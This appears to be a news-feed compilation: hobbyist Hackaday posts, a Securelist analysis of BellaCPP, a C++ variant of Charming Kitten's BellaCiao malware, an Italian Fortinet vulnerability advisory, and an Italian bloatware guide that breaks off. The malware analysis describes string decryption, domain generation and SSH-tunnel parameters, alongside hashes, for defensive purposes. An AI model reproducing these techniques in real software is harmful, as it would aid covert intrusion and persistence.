Embossed leather belts can be deliciously stylish. However, the tooling for making these fashionable items is not always easy to come by, and it rarely comes cheap. What do we do when a tool is expensive and obscure? We 3D print our own, as [Myth Impressions] demonstrates.

The build is based around a Harbor Freight pipe bender. However, instead of the usual metal tooling, it’s been refitted with a printed embossing ring specifically designed for imprinting leather. The tool features raised ridges in an attractive pattern, and the pipe bender merely serves as a straightforward device for rolling the plastic tooling over a leather belt blank. Once cranked through the machine, the leather belt comes out embossed with a beautiful design.

It’s a neat project, and the 3D printed tooling works surprisingly well. The key is that leather is relatively soft, so it’s possible to use plastic tools quite effectively. With that said, you can even form steel with printed tooling if you use the right techniques.

We’ve seen some other neat leatherworking hacks before, like this nicely-modified Singer sewing machine.

youtube.com/embed/TayD6JyOwhk?…

youtube.com/embed/8E6ADc4D6VQ?…

hackaday.com/2024/12/20/emboss…

Analog radio broadcasts are pretty simple, right? Tune into a given frequency on the AM or FM bands, and what you hear is what you get. Or at least, that used to be the way, before smart engineers started figuring out all kinds of sneaky ways for extra signals to hop on to mainstream broadcasts.

Subcarrier radio once felt like the secret backchannel of the airwaves. Long before Wi-Fi, streaming, and digital multiplexing, these hidden signals beamed anything from elevator music and stock tickers to specialized content for medical professionals. Tuning into your favorite FM stations, you’d never notice them—unless you had the right hardware and a bit of know-how.

Sub-what now?

Subcarrier radio was approved by the FCC under the Subsidiary Communications Authorization. This allowed both AM and FM radio stations to deliver additional content through subchannel broadcasting on their existing designated frequency. Practicalities mean that only FM stations could reasonably use this technique to broadcast additional audio content; AM radio stations were too limited in bandwidth to do so. In the latter case, only low-bitrate data could be sent on a subcarrier. 1983 saw the deregulation of subcarrier broadcasts, with existing broadcasters able to use them largely as they wished.

To understand how this let FM radios broadcast extra programming, we need to know how subcarriers work. Basically, in this context, a subcarrier is a high-frequency signal outside the range of human hearing—usually something like a sine wave at a frequency of 20 KHz to 100 KHz or so. This signal is then amplitude modulated with the desired secondary audio program for broadcast. As this signal is beyond the range of human hearing, it can be mixed with the regular station’s main audio feed without perceptibly altering it to any great degree. The mixed signal is then frequency modulated on to the radio station’s main carrier signal (usually in the range of 88-108 MHz) and sent up the tower for broadcast over radio.
Modern FM stereo transmissions have lots of stuff multiplexed on to them. There’s plenty of bandwidth to fit in a number of signals—including stereo data at 38 kHz, and subcarrier audio transmissions at 67 kHZ or 92 kHz. Microsoft also tried sending data over subchannels with Directband, but it didn’t catch on. Credit: modified, public domain
For subchannel broadcasting, FM stations typically used subcarriers at 67 kHz or 92 kHz to carry additional low-fidelity mono audio feeds. These carrier frequencies were chosen to avoid the existing subcarrier signal in FM stereo broadcasts, which carried a left-right channel difference signal at 38 kHz.

Subcarriers were a neat little lifehack that let a single frequency do double or triple duty. A single FM station could deliver its main program, plus a bonus low-fidelity mono channel for various purposes. This facility was used for all kinds of obscure uses. Some broadcasters delivered background music for piping into department stores and the like, while others created special channels reserved for reading-for-the-blind organizations.

The Physician’s Radio Network was also a notable user, which broadcast information of specific relevance to medical professionals. However, the limited audience made it a difficult prospect to keep running from a commercial standpoint, even though it saved money by merely rebroadcasting one hour of programming around the clock on any given day. It eventually went off the air in 1981.

Tuning into these broadcasts wasn’t possible on a regular FM radio. Instead, you needed a device specifically built to pull the subcarrier signal out of the radio broadcast and then demodulate it back into listenable audio. By and large, organizations broadcasting on subchannels would distribute special radios that were tuned to only decode their sub-carrier station. The hardware involved wasn’t complex—it just involved demodulating the FM broadcast signal, then filtering out the subcarrier signal and demodulating that back into audio.
Microsoft used subcarriers to broadcast data to coffee machines and smartwatches in the early 2000s. Credit: Zuzu, CC BY-SA 3.0
FM subcarriers weren’t just for audio, either. Microsoft famously used 67.7 kHz subcarriers on FM radio stations for its now-defunct DirectBand datacast network. It could deliver data at 12 kbit/second, or over 100 MB a day. The technology was used to deliver things like weather reports and stock prices to early smartwatches and coffee makers in the days before WiFi and celluar internet were cheap and everywhere.

From a hardware hacker’s perspective, these channels were a fun challenge to hunt down. With the right radio receiver and a bit of circuit hacking to tap off the baseband signal, you could decode the subcarrier and reveal the hidden broadcast. Some hobbyists rigged up surplus SCA receivers—often stuff found at flea markets or hamfests—to get free background music, weather reports, or any niche audio that happened to be riding along. Alternatively, decoding the subcarrier was entirely possible by building your own gear. It was kind of a neat analog puzzle—filter out the main audio, isolate the frequency where the secret channel lived, and then demodulate it. The hardware you’d use looked suspiciously like the guts of a standard FM radio, just with a few added filters and demodulation stages stuck in. These days, software defined radio techniques make doing the same thing comparatively easy.

Though it felt like eavesdropping, this wasn’t exactly some top-secret espionage. While technically unauthorized reception was frowned upon by the FCC, it wasn’t heavily policed. Subcarrier channels didn’t exactly have roving gangs of enforcers prowling about the neighborhood. Mostly, these subcarriers delivered paid subscription services, like Muzak, or nonprofit programming authorized under the station’s broadcast license. Their decline coincided with the rise of digital technologies and more flexible content-delivery methods. By the late 20th century, satellite feeds, internet streaming, and multicast digital channels rendered analog subcarriers quaint and unnecessary.

Still, SCA subcarrier signals remain a fascinating piece of broadcasting history. A few still linger today, but it’s now a more obscure medium than ever, lost as mainstream technology has moved on. It’s a reminder that even in the old days of broadcast radio, clever engineers found ways to pack more data into the same old bandwidth—long before we started streaming everything in sight.

Featured image by [windytan]. (Also, check out her work on RDS demodulation.)

hackaday.com/2024/12/20/subcha…

Israele, attraverso l’uso strategico delle sue tecnologie di sorveglianza, ha trasformato la cyber-intelligence in un pilastro della sua politica estera. Questo approccio, che unisce innovazione tecnologica e pragmatismo politico, si è rivelato particolarmente efficace in Africa, dove la necessità di sicurezza e controllo è spesso prioritaria per governi autoritari o instabili. Tuttavia, questa strategia non […]
Continua a leggere

The post Cyber, spionaggio e sorveglianza: così Israele punta all’Africa appeared first on InsideOver.

[Piffpaffpoltrie] had a problem. They found the InLine VA40R to be a perfectly usable multimeter, except for a couple of flaws. Most glaring among these were the tiny sockets for the test probes. These proved incompatible with the probes they preferred to use, so naturally, something had to be done.

The desire was to see the multimeter work with [Piffpaffpoltrie]’s connector of choice—the 4 mm Multi Contact banana plug from Stabuli. Swiss-made, gold-plated, and highly reliable, nothing else would do. The original sockets on the multimeter were simply too small to properly accept these. Instead, some Stabuli sockets were purchased—part number B-EB4-AU—but these wouldn’t fit in the multimeter’s case as designed. To make them work, they were machined down, drilled, tapped, and then fitted with a short M3 screw which was then soldered in place. This short length of thread then allowed the new sockets to bolt right into the PCB in place of the original sockets.

Ultimately, many would just buy a new multimeter. This hack is a fiddly and time-consuming one, but it’s kind of neat to see someone go to such lengths to customize their tools to their own satisfaction.

We don’t see a lot of multimeter hacks, because these tools usually get all the necessary features from the manufacturer. Still, the handful we’ve featured have proven most interesting. If you’re tinkering away at customizing your own test gear, don’t hesitate to drop us a line!

hackaday.com/2024/12/20/multim…

Introduction

BellaCiao is a .NET-based malware family that adds a unique twist to an intrusion, combining the stealthy persistence of a webshell with the power to establish covert tunnels. It surfaced for the first time in late April 2023 and has since been publicly attributed to the APT actor Charming Kitten. One important aspect of the BellaCiao samples is how they exhibit a wealth of information through their respective PDB paths, including a versioning scheme we were able to work out once we analyzed historical records.

Recently, we were investigating an intrusion that involved a BellaCiao sample (MD5 14f6c034af7322156e62a6c961106a8c) on a computer in Asia. Our telemetry indicated another suspicious, and possibly related, sample on the same machine. After further investigation of the sample, it turned out to be a reimplementation of an older BellaCiao version, but written in C++.

BellaCiao: PDB analysis

BellaCiao has very descriptive PDB paths that expose important points related to the campaign, such as the target entity and country. In addition, after analyzing several historical samples, we found that all PDB paths contained the string “MicrosoftAgentServices”. Some of the samples had a single digit appended to the string, as in “MicrosoftAgentServices2” and “MicrosoftAgentServices3”. The use of integers typically indicates versioning employed by the malware developer, likely to differentiate various iterations or updates. These versioning practices may serve the purpose of tracking development and changes in the malware’s capabilities, aiding the APT actor in maintaining a diverse and evolving arsenal to achieve their objectives.

Below are the last 10 samples with their respective compilation times.

It is worth noting that the first known BellaCiao samples didn’t feature this versioning system, which only appeared later. This could be attributed to the project’s gradual maturation over time, resulting in improved development quality and refined capabilities.

BellaCPP

BellaCPP was found on the same machine infected with the .NET-based BellaCiao malware. It’s a DLL file named “adhapl.dll”, developed in C++ and located in C:\Windows\System32. It has one export function, named “ServiceMain”. The name and control handler registration indicate that, similar to the original BellaCiao samples, this variant is designed to run as a Windows service.

Consistent with the exported ServiceMain function in the DLL, the code executes a series of steps that closely resemble the behavior observed in earlier versions of BellaCiao.

• Decrypt three strings using XOR encryption with the key 0x7B:
  
  • C:\Windows\System32\D3D12_1core.dll
  • SecurityUpdate
  • CheckDNSRecords

  
  

• Load the DLL file at the path decrypted during the previous step and resolve the functions of the two other decrypted strings above with GetProcAddress.
• Generate a domain by following the same method as the .NET BellaCiao version, using the following format:
  <5 random letters><target identifier>.<country code>.systemupdate[.]info
• Call the CheckDNSRecords function. If the return value matches the hardcoded IP address, call the SecurityUpdate function, passing an argument as depicted below.
  <username>:<password>:systemupdate[.]info:<port>:<IP_address>:<port>:<IP_address>:<port>

Unfortunately, we were unable to retrieve the aforementioned D3D12_1core.dll file and therefore could not analyze the SecurityUpdate function triggered in the process. However, as mentioned above, the .NET-based BellaCiao samples feature similar behavior but contain the parameter passed as an argument by the C++ version as a separate variable. For example, the BellaCiao sample that is found along with BellaCPP uses the following workflow.

• Generate a domain using the pattern below and send a DNS request to obtain the IP address.
  <5 random letters><target identifier>.<country code>.autoupdate[.]uk
• If the IP address equals a hardcoded value, create an SSH tunnel using values similar to the parameter passed by BellaCPP, and expose local port 49450 through that tunnel.

Based on the passed parameters and known BellaCiao functionality, we assess with medium confidence that the missing DLL creates an SSH tunnel. However, in contrast to the PowerShell webshell that we observed in the older BellaCiao samples, the BellaCPP sample lacks a hardcoded webshell.

Attribution

We assess with medium-to-high confidence that BellaCPP is associated with the Charming Kitten threat actor based on the following elements.

• From a high-level perspective, this is a C++ representation of the BellaCiao samples without the webshell functionality.
• It uses domains previously attributed to the actor.
• It generates a domain in a similar fashion and uses that in the same way as observed with the .NET samples.
• The infected machine was discovered with an older BellaCiao sample on its hard drive.

Conclusion

Charming Kitten has been improving its arsenal of malware families while making use of publicly available tools. One of the malware families that they keep updating is BellaCiao. This family is especially interesting from a research perspective, as the PDB paths sometimes provide some insight into the intended target and their environment.

The discovery of the BellaCPP sample highlights the importance of conducting a thorough investigation of the network and the machines in it. Attackers can deploy unknown samples which might not be detected by security solutions, thereby retaining a foothold in the network after “known” samples are removed.

File hashes

222380fa5a0c1087559abbb6d1a5f889
14f6c034af7322156e62a6c961106a8c
44d8b88c539808bb9a479f98393cf3c7
e24b07e2955eb3e98de8b775db00dc68
8ecd457c1ddfbb58afea3e39da2bf17b
103ce1c5e3fdb122351868949a4ebc77
28d02ea14757fe69214a97e5b6386e95
4c6aa8750dc426f2c676b23b39710903
ac4606a0e10067b00c510fb97b5bd2cc
ac6ddd56aa4bf53170807234bc91345a
36b97c500e36d5300821e874452bbcb2
febf2a94bc59011b09568071c52512b5

Domains
systemupdate[.]info

securelist.com/bellacpp-cpp-ve…

Not all 3D scanning is alike, and the right workflow can depend on the object involved. [Ding Dong Drift] demonstrates this in his 3D scan of a project car. His goal is to design custom attachments, and designing parts gets a lot easier with an accurate 3D model of the surface you want to stick them on. But it’s not as simple as just scanning the whole vehicle. His advice? Don’t try to use or edit the 3D scan directly as a model. Use it as a reference instead.
Rather than manipulate the 3D scan directly, a better approach is sometimes to use it as a modeling reference to fine-tune dimensions.
To do this, [Ding Dong Drift] scans the car’s back end and uses it as a reference for further CAD work. The 3D scan is essentially a big point cloud and the resulting model has a very high number of polygons. While it is dimensionally accurate, it’s also fragmented (the scanner only captures what it can see, after all) and not easy to work with in terms of part design.

In [Ding Dong Drift]’s case, he already has a 3D model of this particular car. He uses the 3D scan to fine-tune the model so that he can ensure it matches his actual car where it counts. That way, he’s confident that any parts he designs will fit perfectly.

3D scanning has a lot of value when parts have to fit other parts closely and there isn’t a flat surface or a right angle to be found. We saw how useful it was when photogrammetry was used to scan the interior of a van to help convert it to an off-grid camper. Things have gotten better since then, and handheld scanners that make dimensionally accurate scans are even more useful.

youtube.com/embed/IcIRhBEO8_M?…

hackaday.com/2024/12/20/watch-…

Fortinet ha recentemente rilasciato un avviso per una grave vulnerabilità di sicurezza che riguarda il FortiWLM (Wireless LAN Manager), già corretta con un aggiornamento. Questa falla, identificata come CVE-2023-34990, presenta un punteggio CVSS di 9.6 su 10, evidenziando la sua pericolosità.

La vulnerabilità in FortiWLM

La vulnerabilità sfrutta una debolezza di path traversal relativa (CWE-23), consentendo a un attaccante remoto non autenticato di leggere file sensibili sul sistema tramite richieste web specifiche. Inoltre, secondo una descrizione nel National Vulnerability Database del NIST, questa vulnerabilità può essere utilizzata anche per eseguire codice o comandi non autorizzati.

Le versioni impattate includono:

• FortiWLM 8.6.0 fino a 8.6.5 (corretto nella versione 8.6.6 o successive).
• FortiWLM 8.5.0 fino a 8.5.4 (corretto nella versione 8.5.5 o successive).

La scoperta di questa falla è stata attribuita al ricercatore di sicurezza Zach Hanley di Horizon3.ai.

Un attaccante potrebbe sfruttare CVE-2023-34990 per:

• Accedere ai file di log di FortiWLM e rubare ID di sessione degli utenti.
• Utilizzare gli ID di sessione per accedere a endpoint autenticati.
• Compromettere le sessioni web statiche tra gli utenti e ottenere privilegi amministrativi.

La gravità aumenta se la vulnerabilità viene combinata con un’altra falla, CVE-2023-48782 (CVSS 8.8), che consente l’esecuzione di codice remoto come root. Questa vulnerabilità è stata corretta anch’essa nella versione 8.6.6 di FortiWLM.

Anche FortiManager sotto attacco

Oltre a FortiWLM, Fortinet ha risolto una vulnerabilità critica in FortiManager, identificata come CVE-2024-48889 (CVSS 7.2). Questa vulnerabilità, un’iniezione di comandi nel sistema operativo, permette a un attaccante remoto autenticato di eseguire codice non autorizzato tramite richieste FGFM appositamente create.

Le versioni interessate includono:

• FortiManager 7.6.0 (corretto in 7.6.1 o successive).
• Versioni precedenti fino a 6.4.14, con correzioni a partire dalle versioni indicate nel comunicato.

Fortinet ha anche specificato che vari modelli hardware, come 3000F, 3700G e altri, possono essere vulnerabili se la funzione “fmg-status” è attiva.

Implicazioni e misure da adottare

Fortinet è già stata nel mirino di attori malevoli in passato, e dispositivi come FortiWLM e FortiManager continuano ad essere obiettivi appetibili. Queste vulnerabilità dimostrano ancora una volta l’importanza di mantenere i dispositivi aggiornati e di applicare tempestivamente le patch di sicurezza. Gli amministratori di rete devono:

• Aggiornare subito FortiWLM e FortiManager alle versioni sicure indicate.
• Verificare le configurazioni per ridurre i rischi associati a funzioni come “fmg-status”
• Implementare sistemi di monitoraggio che rilevino attività sospette.

Conclusione

Questa serie di vulnerabilità sottolinea l’importanza di adottare un approccio proattivo alla sicurezza informatica. Sebbene Fortinet abbia messo a disposizione gli strumenti per mitigare queste minacce, spetta alle organizzazioni intervenire con tempestività per ridurre il rischio di esposizione ai cybercriminali. In un contesto di minacce sempre più evolute, restare un passo avanti significa investire nella protezione delle proprie infrastrutture IT con strategie mirate e aggiornamenti costanti.

L'articolo Allerta Fortinet: FortiWLM e FortiManager nel mirino degli hacker. Aggiornare Immediatamente! proviene da il blog della sicurezza informatica.

Il bloatware, spesso sottovalutato nello sviluppo delle applicazioni, rappresenta un vero ostacolo per le prestazioni, la sicurezza e l’esperienza utente. Si tratta di funzionalità, librerie o elementi di codice aggiunti senza una reale necessità, che appesantiscono il software e ne compromettono l’efficienza.

Nel contesto competitivo attuale, gli utenti cercano applicazioni leggere, veloci e sicure. Tuttavia, molti sviluppatori cadono nella trappola del bloatware, integrando funzionalità superflue o codici inutili. Questo non solo rallenta l’applicazione, ma ne aumenta anche i costi di manutenzione e il rischio di vulnerabilità.

In questa guida, esploreremo Cos’è il bloatware e come identificarlo, i rischi concreti per lo sviluppo e il successo delle app, strategie e strumenti per eliminarlo e prevenirlo e le best practice per creare un software leggero, performante e scalabile.

Sviluppare applicazioni senza bloatware non è solo una scelta tecnica, ma anche una strategia di successo per distinguersi in un mercato sempre più esigente.

Introduzione al bloatware

Il bloatware è una delle problematiche più insidiose nello sviluppo delle applicazioni moderne. Si riferisce a componenti, librerie o funzionalità che vengono aggiunti al software senza una reale necessità, ma che finiscono per appesantirlo inutilmente. Sebbene il bloatware possa sembrare innocuo a prima vista, in realtà ha un impatto significativo sulle prestazioni, la sicurezza e la manutenzione del software, influenzando negativamente l’esperienza dell’utente e, in ultima analisi, il successo dell’applicazione.

Cos’è il bloatware?

Il bloatware si presenta sotto forma di codice o risorse che non sono essenziali per il funzionamento base dell’applicazione, ma che vengono comunque incluse durante lo sviluppo. Questi elementi superflui potrebbero includere:

• Funzionalità aggiuntive non strettamente necessarie;
• Librerie e dipendenze che appesantiscono il codice senza apportare valore reale;
• Interfacce utente complesse che non sono essenziali per la fruizione delle funzionalità principali.

Quando il bloatware entra a far parte di un progetto software, il codice diventa più pesante, meno leggibile e più difficile da manutenere. Le applicazioni diventano più lente e meno reattive, e in alcuni casi, le prestazioni si deteriorano così tanto da rendere l’esperienza utente insoddisfacente.

L’impatto del bloatware sullo sviluppo delle applicazioni

1. Prestazioni rallentate: il software che contiene troppo codice inutile tende a diventare più lento. L’eccessiva presenza di codice non ottimizzato può rallentare l’elaborazione delle informazioni e aumentare i tempi di risposta dell’applicazione.
2. Aumento della superficie di attacco: ogni libreria o dipendenza aggiunta aumenta le possibilità che il software contenga vulnerabilità. Il bloatware, spesso, include pacchetti non più aggiornati o non correttamente monitorati, aumentando il rischio di attacchi.
3. Difficoltà di manutenzione e scalabilità: con il tempo, il codice inutilmente complesso diventa sempre più difficile da gestire. La presenza di funzioni non utilizzate o duplicate rende la manutenzione costosa e complessa.
4. Problemi di compatibilità: le dipendenze inutilizzate o le risorse superflue possono causare conflitti con altre librerie o strumenti, rendendo più difficile l’integrazione con altri sistemi.

Le sfide per gli sviluppatori

Gli sviluppatori sono spesso costretti a prendere decisioni per trovare un compromesso tra funzionalità e performance. Tuttavia, con l’evoluzione delle tecnologie e dei metodi di sviluppo, l’identificazione e l’eliminazione del bloatware sono diventate priorità fondamentali. Rimuovere il bloatware non solo migliora le prestazioni, ma consente di creare software più sicuro, facile da mantenere e scalabile.

L’obiettivo di un’applicazione moderna è quello di offrire prestazioni elevate e un’esperienza utente fluida, e ciò è possibile solo se il codice è leggero e ottimizzato.

Come identificare il bloatware nei progetti software

Individuare il bloatware nei progetti software è un passo cruciale per migliorare le prestazioni e mantenere il codice pulito. Spesso, il bloatware non si manifesta immediatamente ma si accumula nel tempo, causando problemi di lentezza, complessità e vulnerabilità. Un’analisi attenta e metodica consente di identificare queste inefficienze prima che compromettano l’intero progetto.

Segnali che indicano la presenza di bloatware

1. Tempi di caricamento elevati: un’applicazione che impiega troppo tempo ad avviarsi o a rispondere potrebbe contenere funzionalità inutili;
2. Elevata dimensione del file: se il pacchetto software o l’eseguibile supera di molto le dimensioni previste, potrebbe contenere risorse inutilizzate o ridondanti;
3. Dipendenze non necessarie: librerie o framework aggiunti per funzioni non critiche aumentano la complessità senza un reale valore;
4. Codice duplicato o non utilizzato: segmenti di codice che non vengono mai eseguiti o che replicano funzionalità già esistenti sono spesso una fonte di bloatware;
5. Prestazioni hardware non proporzionali: se l’app richiede più risorse di quante ne giustifichino le funzionalità, potrebbe essere appesantita.

Strumenti per individuare il bloatware

1. Analizzatori di codice statico: strumenti come SonarQube o ESLint aiutano a identificare codice non utilizzato, duplicato o eccessivamente complesso;
2. Monitoraggio delle prestazioni: piattaforme come New Relic o Google Lighthouse consentono di analizzare i tempi di caricamento e il consumo di risorse;
3. Strumenti di analisi delle dipendenze: strumenti come Depcheck o npm audit rivelano librerie inutilizzate o vulnerabili;
4. Debugging avanzato: tecniche di profiling aiutano a individuare colli di bottiglia o funzioni che rallentano l’intera applicazione.

Best practice per l’identificazione del bloatware

• Esegui revisioni periodiche del codice: revisione regolare del codice per rimuovere ciò che non è necessario;
• Utilizza checklist durante lo sviluppo: verifica che ogni nuova funzione o libreria aggiunta sia essenziale per il progetto;
• Collabora con il team: coinvolgi altri sviluppatori per ottenere feedback e suggerimenti sull’ottimizzazione del codice.

Riconoscere il bloatware in fase di sviluppo è fondamentale per prevenire problemi futuri. Un approccio proattivo consente di mantenere il software leggero, performante e conforme agli standard di qualità attesi dagli utenti e dai motori di ricerca.

I rischi del bloatware: prestazioni, sicurezza e costi

Il bloatware può sembrare un problema marginale nelle prime fasi di sviluppo, ma con il tempo i suoi effetti diventano sempre più evidenti. La presenza di codice superfluo non solo appesantisce l’applicazione, ma comporta una serie di rischi che possono compromettere l’esperienza dell’utente e minacciare la sicurezza e la competitività del software.

Prestazioni compromesse

Uno dei rischi più immediati del bloatware riguarda le prestazioni. Aggiungere funzioni e librerie non necessarie rallenta il software, causando problemi di velocità che possono essere molto frustranti per gli utenti. I principali impatti sulle prestazioni includono:

• Tempi di caricamento elevati: le applicazioni più pesanti richiedono più tempo per caricarsi, il che può influire negativamente sull’esperienza utente, portando a una maggiore probabilità di abbandono.
• Eccessivo utilizzo delle risorse: ogni componente aggiuntivo consuma memoria e capacità di elaborazione, rallentando l’intero sistema, soprattutto su dispositivi meno potenti.
• Mancata ottimizzazione: senza un codice snello e ben progettato, l’applicazione può diventare ingombrante, richiedendo tempi più lunghi per l’elaborazione delle informazioni e il completamento delle operazioni.

Le applicazioni con bloatware tendono a diventare sempre più lente nel tempo, con una crescita progressiva delle risorse necessarie, creando un ciclo vizioso che non solo peggiora la qualità dell’esperienza dell’utente, ma anche le performance generali del sistema.

Sicurezza a rischio

Il bloatware non è solo un problema per le prestazioni; può anche essere una minaccia per la sicurezza dell’applicazione. Ogni libreria o componente aggiuntivo che non è strettamente necessario rappresenta una superficie d’attacco aggiuntiva per potenziali vulnerabilità. I principali rischi per la sicurezza legati al bloatware includono:

• Librerie non aggiornate: l’inclusione di librerie obsolete che non vengono più mantenute dai rispettivi sviluppatori può creare vulnerabilità di sicurezza, poiché queste potrebbero non ricevere aggiornamenti o patch per risolvere eventuali problemi.
• Dipendenze vulnerabili: ogni volta che viene aggiunta una libreria esterna o una dipendenza, aumentano le probabilità che una di esse contenga falle di sicurezza sfruttabili da attacchi esterni.
• Accessi non necessari: alcune funzionalità superflue potrebbero richiedere privilegi o accessi non necessari, aumentando il rischio che i dati degli utenti o l’infrastruttura siano compromessi.

Il bloatware aumenta la superficie d’attacco dell’applicazione, creando numerosi punti vulnerabili che i malintenzionati potrebbero sfruttare per compromettere la sicurezza. Un software pieno di codice inutile e non sicuro è particolarmente esposto agli attacchi informatici, il che può causare gravi danni sia agli utenti che all’integrità dell’applicazione stessa.

Aumento dei costi

Infine, uno degli impatti più significativi del bloatware riguarda i costi. Sebbene aggiungere funzionalità e librerie extra possa sembrare una soluzione rapida per soddisfare le esigenze degli utenti, nel lungo periodo comporta spese più alte. I principali costi associati al bloatware sono:

• Costi di manutenzione più alti: un codice più complesso richiede più tempo e risorse per essere aggiornato e mantenuto. Ogni componente aggiuntivo implica un maggiore sforzo nel monitorare, correggere e aggiornare il software.
• Tempo di sviluppo più lungo: l’inclusione di funzionalità non necessarie rallenta lo sviluppo iniziale, poiché richiede più tempo per l’integrazione, il testing e la gestione.
• Costi di supporto: le applicazioni più pesanti possono causare problemi di compatibilità, con conseguente necessità di supporto tecnico e risoluzione di bug frequenti, aumentando i costi di assistenza.

Inoltre, con il passare del tempo, il bloatware rende il software meno scalabile. Se non rimosso, il codice superfluo ostacola l’adattamento dell’applicazione a nuove esigenze o l’aggiunta di nuove funzionalità. Ciò significa che ogni nuova versione dell’applicazione potrebbe richiedere maggiori risorse e tempi di sviluppo più lunghi.

Strategie per evitare il bloatware nello sviluppo

Evita che il bloatware comprometta la qualità delle tue applicazioni con strategie mirate che rendano il processo di sviluppo più efficiente e il software più performante. Identificare e ridurre il bloatware fin dalle prime fasi del ciclo di vita del software è essenziale per garantire applicazioni leggere, sicure e facili da mantenere. In questo capitolo, esploreremo le migliori pratiche e strategie per prevenire il bloatware, concentrandoci su pianificazione, progettazione e gestione del codice.

Pianificazione accurata delle funzionalità

Una delle cause principali del bloatware è l’aggiunta di funzionalità non necessarie. Per evitare che ciò accada, è fondamentale adottare un approccio strategico già nelle prime fasi di sviluppo. Ecco alcuni consigli per una pianificazione efficace:

• Analizzare i requisiti essenziali: prima di aggiungere qualsiasi funzionalità, è cruciale definire chiaramente cosa è necessario per l’applicazione. Evita di cedere a richieste “extra” che non apportano valore significativo all’esperienza dell’utente.
• Definire una roadmap funzionale chiara: stabilisci una sequenza di priorità per lo sviluppo, concentrandoti su ciò che è davvero essenziale per soddisfare gli obiettivi del progetto.
• Concentrarsi sul core business: mantieni il focus sulle funzionalità centrali del prodotto, evitando l’inclusione di caratteristiche che potrebbero sembrare utili ma non sono strettamente legate alla missione dell’applicazione.

Pianificare accuratamente le funzionalità permette di ridurre il rischio di inserire codice non necessario che potrebbe trasformarsi in bloatware.

Utilizzo di librerie e dipendenze minime

Le librerie esterne e le dipendenze sono risorse comuni durante lo sviluppo di software, ma è essenziale utilizzarle con cautela. Un eccesso di librerie non necessarie può facilmente generare bloatware. Ecco come evitarlo:

• Scegliere librerie leggere e modulari: quando è necessario utilizzare librerie esterne, opta per soluzioni che siano minimali, ben documentate e aggiornate regolarmente. Preferisci quelle modulari che ti permettono di includere solo ciò di cui hai bisogno.
• Evitare dipendenze non necessarie: ogni dipendenza aggiunta rappresenta un aumento della superficie di attacco e una potenziale fonte di bloatware. Valuta con attenzione ogni libreria e verifica se davvero è indispensabile.
• Rimuovere le librerie inutilizzate: durante lo sviluppo, è facile accumulare librerie che vengono poi abbandonate. Esegui un monitoraggio regolare e rimuovi ciò che non è più utilizzato.

Includere solo le librerie necessarie non solo riduce il rischio di bloatware, ma migliora anche le prestazioni e la sicurezza complessiva dell’applicazione.

Pratiche di codifica pulita e ottimizzata

Una scrittura del codice efficiente è cruciale per evitare l’introduzione di bloatware. Seguendo le migliori pratiche di codifica, è possibile mantenere il codice leggero e facilmente manutenibile. Alcuni suggerimenti includono:

• Scrivere codice modulare e riutilizzabile: suddividi il codice in moduli piccoli e ben definiti, in modo da evitare duplicazioni e ridondanze che potrebbero appesantire il software.
• Ottimizzare le risorse: rimuovi tutte le risorse non necessarie, come immagini, file CSS o JavaScript inutilizzati, e fai attenzione alla gestione delle risorse per evitare sovraccarichi.
• Eseguire il refactoring periodico: esegui il refactoring del codice regolarmente per semplificarlo, eliminarne le parti obsolete e migliorare l’efficienza complessiva.

Un codice pulito e ben strutturato non solo aiuta a prevenire il bloatware, ma rende anche il processo di manutenzione e aggiornamento più semplice ed economico.

Monitoraggio e testing continui

Il monitoraggio costante e il testing accurato sono essenziali per garantire che il software rimanga privo di bloatware durante tutto il ciclo di vita. Implementando test e tecniche di monitoraggio efficaci, è possibile individuare e correggere i problemi prima che diventino critici. Le principali azioni da intraprendere sono:

• Testing delle prestazioni: esegui test di carico e di stress per misurare l’impatto delle funzionalità aggiuntive e delle dipendenze. Verifica che l’applicazione funzioni in modo fluido anche sotto carico.
• Analisi statica del codice: utilizza strumenti di analisi statica per identificare parti di codice che potrebbero causare inefficienze o contenere bloatware.
• Feedback dagli utenti: raccogli feedback dagli utenti per identificare eventuali lamentele relative alle prestazioni o alla complessità dell’applicazione.

Implementando un sistema di testing continuo, puoi garantire che l’applicazione rimanga sempre ottimizzata e priva di codice superfluo.

Formazione continua del team di sviluppo

Infine, una delle strategie più efficaci per evitare il bloatware è la formazione continua del team di sviluppo. Gli sviluppatori devono essere costantemente aggiornati sulle migliori pratiche e sugli strumenti più recenti per garantire che il codice sia sempre snello e performante. Alcuni passi fondamentali includono:

• Promuovere il design minimalista: sensibilizza il team sull’importanza di adottare un approccio minimalista nel design e nella scrittura del codice.
• Incoraggiare la revisione del codice tra pari: il peer review è fondamentale per identificare e rimuovere il codice non necessario e migliorare la qualità complessiva del software.
• Fornire formazione sugli strumenti di ottimizzazione: assicurati che il team sia competente nell’uso degli strumenti di ottimizzazione del codice, come quelli per il controllo delle dipendenze o per il refactoring del codice.

Una formazione adeguata aiuta il team a prendere decisioni più consapevoli, evitando l’introduzione di bloatware e migliorando le prestazioni e la sicurezza del software.

Strumenti e best practice per un codice leggero ed efficiente

Creare software leggero ed efficiente è una sfida fondamentale nello sviluppo moderno. L’adozione di strumenti appropriati e l’implementazione di best practice nella scrittura del codice sono essenziali per evitare l’introduzione di bloatware, migliorare le prestazioni e ridurre i costi di manutenzione.

Utilizzo di strumenti per l’analisi del codice

Una delle prime azioni da intraprendere per mantenere il codice pulito e leggero è l’utilizzo di strumenti di analisi del codice. Questi strumenti sono progettati per rilevare problematiche come il codice non utilizzato, la duplicazione e altre inefficienze che potrebbero contribuire al bloatware. Ecco alcuni strumenti utili:

• SonarQube: uno strumento di analisi statica del codice che rileva i difetti nel codice, le vulnerabilità di sicurezza e le aree di miglioramento. SonarQube è particolarmente utile per identificare duplicazioni e segmenti di codice non necessari.
• ESLint (per JavaScript): aiuta a mantenere il codice JavaScript pulito e senza errori, identificando codice obsoleto e stilisticamente incoerente. È utile per evitare l’introduzione di codice non ottimizzato.
• PMD (per Java): uno strumento di analisi statica che esamina il codice alla ricerca di potenziali inefficienze e migliora la qualità del software, evitando il bloatware causato da codice ridondante.
• Checkstyle: un altro strumento utile per analizzare la qualità del codice Java e mantenerlo conforme agli standard definiti.

Questi strumenti permettono di identificare e correggere facilmente le inefficienze del codice, prevenendo la crescita del bloatware e migliorando la qualità complessiva.

Ottimizzazione delle dipendenze

Un altro aspetto fondamentale per mantenere il codice leggero è la gestione efficiente delle dipendenze. Le dipendenze esterne, se non monitorate correttamente, possono facilmente appesantire un’applicazione. Ecco come ottimizzarle:

